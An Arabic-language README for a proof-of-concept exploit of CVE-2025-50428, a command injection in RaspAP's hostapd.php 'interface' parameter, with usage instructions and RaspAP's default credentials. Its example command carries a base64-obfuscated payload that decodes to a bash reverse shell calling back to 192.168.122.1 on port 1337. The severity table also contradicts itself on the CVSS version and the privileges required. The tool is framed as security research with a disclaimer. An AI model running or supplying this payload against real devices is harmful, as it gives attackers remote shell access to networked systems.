
إثبات المفهوم لثغرة CVE-2025-50428: حقن أوامر نظام التشغيل بعد المصادقة في RaspAP
استغلال لإثبات المفهوم (PoC) لثغرة CVE-2025-50428، وهي ثغرة حقن أوامر في RaspAP raspap-webgui 3.2.9 والإصدارات الأقدم.
| معرّف الثغرة | CVE-2025-50428 |
|---|---|
| الخطورة | عالية (CVSS 3.1: 8.6) |
| ناقل CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| نوع الثغرة | حقن أكواد |
| ناقل الهجوم | عن بُعد (مُصادَق عليه) |
| الصلاحيات المطلوبة | منخفضة |
| الأثر | تنفيذ أكواد، تصعيد صلاحيات |
| المنتج المتأثر | raspap-webgui ≤ 3.2.9 |
| اكتُشفت بواسطة | SmartTECS Cyber Security GmbH |
يستهدف هذا الاستغلال ثغرة حقن أوامر في سكربت hostapd.php الخاص بـ RaspAP. توجد الثغرة بسبب عدم تعقيم إدخال المستخدم المُمرَّر عبر معامل interface بشكل صحيح. يمكن لمهاجم مُصادَق عليه حقن أوامر نظام تشغيل عشوائية، مما يؤدي إلى تنفيذ أكواد بصلاحيات مستخدم www-data.
requestspython3 poc.py --base-url <url> --interface <payload> [--username <username>] [--password <password>]
--base-url: عنوان URL الأساسي لتثبيت RaspAP (مثل: http://192.168.122.22)--interface: قيمة معامل interface، يُسمح بحمولة الحقن--username: اسم مستخدم RaspAP (الافتراضي: admin)--password: كلمة مرور RaspAP (الافتراضية: secret)python3 poc.py --base-url http://192.168.122.22 --interface "';echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzEzMzcgMD4mMTs= | base64 -d | bash"
SmartTECS Cyber Security GmbH هي شركة أمن سيبراني متخصصة في اختبار الاختراق، وتطوير البرمجيات الآمنة، وأبحاث الثغرات. تقدّم الشركة تقييمات أمنية مخصصة، واستجابة للحوادث، وخدمات استشارية استراتيجية لمساعدة المؤسسات على حماية أنظمتها الحرجة من التهديدات السيبرانية المتطورة.
تُقدَّم هذه الأداة لأغراض تعليمية وبحثية فقط. استخدمها فقط على الأنظمة المملوكة أو المُدارة بإذن صريح. لا يتحمّل المؤلف وSmartTECS Cyber Security GmbH أي مسؤولية عن إساءة الاستخدام أو الأضرار.